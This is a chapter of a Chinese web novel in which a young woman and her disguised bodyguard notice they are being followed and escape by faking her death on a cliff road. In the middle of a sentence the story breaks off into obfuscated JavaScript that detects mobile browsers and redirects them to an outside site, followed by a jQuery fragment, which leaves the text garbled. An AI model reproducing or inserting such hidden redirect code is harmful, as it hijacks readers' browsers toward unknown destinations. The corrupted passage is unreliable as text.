63. 摆脱跟踪

作品:《殓骨(重生)

    一路朝北,山间青绿不复存在,取而代之的是成片叶子已经泛黄的杨树。


    北方干燥,宋朝月常年待在湿润的南方,这第一次到如此北边的地方,感觉到分外不适应。


    她吸了吸发干的鼻子,空中飘起的扬尘钻进她鼻子里,这一下就惹人打了个喷嚏。


    还没缓过劲儿来,宋朝月突然感鼻唇之间有一股凉凉的东西滑下,她以为是鼻涕,掏出手绢去擦,谁料擦出了一片血。


    流鼻血了?她盯着白色手绢上的那抹红,有些诧异。


    “北方天干,您不适应,也属正常。”


    宋朝月仰头,用手绢堵住鼻血,未多时,这鼻血便自己停了。


    她望着迢迢前路,平坦,广阔,一眼能看出很远。


    “平夏,咱们还需行多远才能到你老家?”


    平夏依旧一副男子打扮,驾着一辆摇摇将破的马车同宋朝月道:“再行一日,小姐再坚持坚持。”


    宋朝月松下车帘,暗中揉了揉酸胀不已的屁股,心道早知便不去那么远了。


    半个多月以前,宋朝月被宋明泽带出褚临宅院中后,便一路南行,要回充州。


    路途漫漫,平夏带着宋朝月,又不能赶得太急,只得白日赶路,夜间寻一家客栈歇脚。


    路过景州之际,她们歇在景州所辖一小县城的客栈之中。这县城百姓靠天吃饭,并不经商,是以往来人并不多。


    宋朝月与平夏到时,客栈中只有另外一桌人在吃饭。


    白天只能吃干粮就冷水充饥,一落座,宋朝月便感觉饿意骤然袭来。


    她轻摸了一下空空的肚子,便听旁边的平夏唤来了店中小二。


    这店不大,门头的红漆都剥落成于露出里面棕色的木里。宋朝月座下的凳子都有些歪斜,她调整了好半晌才坐稳。


    这样的地方,自然也没有什么很好的菜色。


    平夏随意点了几道菜,这小二便去后厨传菜。


    许是这店内客人不多,所以这饭菜也上得快,一炷香时间,两菜一汤便摆上了桌。


    宋朝月即便饿了,也顶多能吃个两小碗饭,可平夏却不同,她见宋朝月放下碗筷,风卷残云将桌上的饭菜一扫而空,临了还颇为豪迈地打了个饱嗝。


    宋朝月捂嘴偷笑,倒不是觉得平夏如此举动有失礼节,只是觉得平夏扮男子十分相像。


    她眼睛弯弯看着对面的平夏,视线移开时不经意与客栈之内的另一桌客人对上。


    那是两个男子,其中一个与宋朝月的眼神对上后,故作匆忙地将眼睛挪到别处,与自己的同伴交谈起来。


    “小二,给我开一间上房!”


    平夏饭饱后,伸手招那瘦瘦的店小二过来。店小二忙将平夏拍在桌子上的碎银收下,领着二人去了这殿中唯一的一间上房。


    这房于二楼的最里侧,宋朝月用完饭后,便戴上了帷帽,小二将她们二人引到门外用钥匙开了门,弓腰引二人进去。


    在小二开锁的间隙,宋朝月在帷帽纱帘的遮挡下,将眼睛往左瞥,便见方才与她们同在下面吃饭的那两个男子也跟了上来。


    “夫人,进来吧!”


    出门在外,平夏一直作男子打扮,而宋朝月容貌又易惹人注目。遂两人从第一天起便约定,在外,以夫妻处,以掩人耳目。


    宋朝月抬脚迈过门槛,先平夏一步进了屋中,后者进屋后顺手带上房门。


    房门关上后,两人都没有说话,而是看了彼此一眼。她们都发现,那隔壁屋的两个男子不对劲儿。


    紧接着,平夏的耳朵动了动。


    她听见隔壁极其细微的关门声,这般小心翼翼,绝非正常住客。


    他们被跟踪了!


    宋朝月在笙歌之际,已经被绑过一次,所以一路返家,一向是慎之又慎。


    她走到平夏旁边,用手捂嘴贴着其耳朵问:“你可知这两人的来历?”


    平夏摇摇头,表示并不知晓。


    她示意宋朝月在屋内坐下,自己又开门出了去。


    宋朝月推开屋内窗户,往旁边的屋子一看,再仔细一听,并没有动静,于是她又将这窗子合上,故意说了一句这风真大。


    她坐回了床边,听见平夏唤来店小二吩咐他给自己房中送些糕点。


    送糕点是假,环伺观察为真。


    平夏眼睛一转,又发现她们所在屋中的斜对面又有了人来。


    她假意背过身去,暗地里往后瞥,隐隐约约见那几人在门口停顿了一下,望向她们的方向,而又进了屋中。


    这下她可以初步断定,跟着她们的,不止一波人。


    平夏转身进屋,同宋朝月说了在外所见。


    宋朝月寻来一张纸,在纸上写下一如往常这几个字,叫平夏,陪自己演这场戏。


    可这夜,两人听着彼此辗转反侧的声音,都无奈地笑了出来。


    同为女子,平夏却不愿意同宋朝月睡那软榻,只是抱着柜子中的另一床被子宿在恰好能容她躺下的罗汉床之上。


    隔墙有耳,两人也不好谈什么密辛。


    宋朝月只能转着那黑色的眼珠子,脑子里想出了快十个摆脱这群人的方法。


    可每一个想法出现后,便又被她继续否决。


    这也不行,那也不行。


    楼下的打更锣敲到了今晚的第四次锣,再有一次,又该起身了。


    宋朝月这才来了困意,迷迷糊糊睡着了,可左手却一直抓着走时宋明泽送给她的一个镯子,据说里面放了好几根毒针,必要时,可以防身。


    五更锣响,又到了该起床的时辰。


    宋朝月从床上站起,因着昨夜没睡好,一下地便感觉像踩着一团棉花似的,头重脚轻,晕得厉害。


    平夏昨夜也是一直未睡,不过她却无事,叫宋朝月不由感叹人与人之差别。


    那辆破烂的马车安稳地停在客栈后院里,昨日客栈的小二已经喂马吃饱了草。


    马车前进,跟踪她们的人也不敢离得太近,只能保持一个不远不近的距离跟着,这也给了二人说话的机会。


    “平夏,你猜,他们是什么人,带着什么目的?”


    这平夏自然不知,她受人之托忠人之事,职责就是将宋朝月安稳送回家中。


    宋朝月也只是问问,她甚至连平夏的来历都不算清楚,她只言自己是受宋明泽所雇前来护送宋朝月,可直觉告诉她,没那么简单。


    路程过半,那几人依旧跟着她们。


    “不行,咱们不能回泗水!”


    平夏有些不明,这一趟本就是送宋朝月回家,不回泗水,那要去何处?


    “平夏,你老家何处?”


    “回小姐,平夏乃奉州人士。”


    “奉州啊……最北的边州。”宋朝月咬着下唇,思虑片刻,同平夏说,“咱们快到充州之际,便改道,去往奉州!”


    这个决定做得突然,平夏不知宋朝月为何做出这样的决定,她有意劝阻,可宋朝月心意已决。


    她这一次,一定要彻底摆脱那些人。


    别的地方她不熟悉,可是快到充州那条路,她可熟悉得紧很。


    她知道,那里总有商队经过,也知道,有一处只容一车过的悬崖边的窄路。这,是她的一个机会。


    她同平夏说了自己的计划,平夏震惊之余,却还是不忘仔细询问个中细节。


    宋朝月打算这么做:


    入充州城其中有一条路,会经过一个悬崖,那悬崖深不见底,两辆马车若是交错而过,分外危险。所以若相向有两辆马车,往往其中一辆会让对向


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233129|130227||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    先行,自己再过。


    让平夏暗地先行前往充州,雇一辆马车朝于自己的马车对向而行,她们则在两个马车交错之际,迅速越于另一辆马车之上。


    后头的人未免惹她们怀疑,跟得不算太近,所以只能远远看个大概。趁这个机会,她们便坐上这来向的马车。


    而那辆她们自笙歌驶来马车,便在平夏飞速投出一针扎进马屁股惹得马匹受惊后,胡乱飞跑,跌落悬崖。


    这个计划很冒险,平夏会功夫,可是宋朝月不会。


    在两辆马车交错之际迅速从车小小的车轩穿出,再从另一辆马车的车轩穿入,这于平夏来说不算难事,可是对于宋朝月来说便有难度了。


    她需要在行进的马车中寻找唯一的契机急速钻进另一辆马车。


    平夏驾着马车,缓缓朝前,对向那位已经被平夏所收买的车夫也缓缓驶来。


    他脸上蒙着一块黑布,遮住了脸。平夏与对方有一个眼神的交汇,便知时机已到。


    两人均往那窄小的崖道处挤,宋朝月的马车在外,那马车在里。


    两车的车壁贴得极紧,在前面驾车的平夏先从一跃从车辕上翻滚了过去。


    坐在马车内的宋朝月早已准备就绪,她已经双脚踩在了坐板上,待对向马车车轩从自己身边擦过,她看准时机,踩着车轩便翻了过去。


    这一翻,成功率,却叫她狠狠地摔倒了车厢之内。


    平夏赶忙将她扶起,然后将车帘掀起一角,看向前头正骑马而来的几人,还有身后渐渐远离的马车。


    她转身,借用宋朝月的镯子,抠开上面的机关,咻一下,那里面淬了毒的银针便朝方才她们拉她们那辆马车的马飞过去。


    马儿被这么一刺,脚下于崖边一划,就这么直直地摔了下去。


    跟踪她们骑马而来的几人连忙驰马前去察看,只能看见一辆马车正落入黑漆漆的深渊之中。


    他们不知道,他们所跟之人早已从他们身侧擦过。


    这一计用得惊险,却也叫宋朝月彻底摆脱了跟踪。


    她这一次,要向死而生!


    从今以后,这世间没有便不再有宋朝月,她要为追逐自己的心中所愿而活。


    平夏打点了助她们的那马夫,然后换她驭马,领着宋朝月朝北前行。


    这一路,她多次问宋朝月可要同家中通信,得到的总是莫要的答案。


    这场她已死的戏,需要家中人的帮助,才能演得更逼真些。


    等到了平夏的老家承州,再偷偷去信给父母亲吧,那时,已经过去了一月多,这戏,也演得够久了。


    行了十几日,总算是到了承州。


    两人早已换了装束,宋朝月总以面纱示人,平夏则贴了另一个胡子,或许是宋朝月瞧惯了她另一副伪装,初瞧只觉无比滑稽。


    到承州凉城的第一件事,宋朝月便是写了信。一封给泗水家中,一封给笙歌阿弟并于信中嘱咐其告知华家母女自己的消息。


    留下最后一张纸,宋朝月提笔,想要写下孟祈的名字,犹豫片刻,还是算了吧,她另有打算。


    平夏在一旁,见宋朝月提笔写了一个孟字而又放下,将那纸欻欻撕成几半,扔到屋内点着的一个小炭炉里,给烧了。


    “宋小姐,您就不写了吗?”


    宋朝月收起镇纸,将两封信叠好放进信封,交给平夏,由其代为传出去。


    来到这个自己自小生长的地界,平夏放下了几分戒心,既已无人跟踪,她便放心出去寄信。


    平夏合上房间门的那一刻,宋朝月终是没忍住勾起嘴角,两边的梨涡显得整个人如一颗甜苹果。


    不过她那笑却是狡黠的,盯着那因开合而微微震动的门板,宋朝月轻笑一声,“小样儿,以为我看不出来是吗?”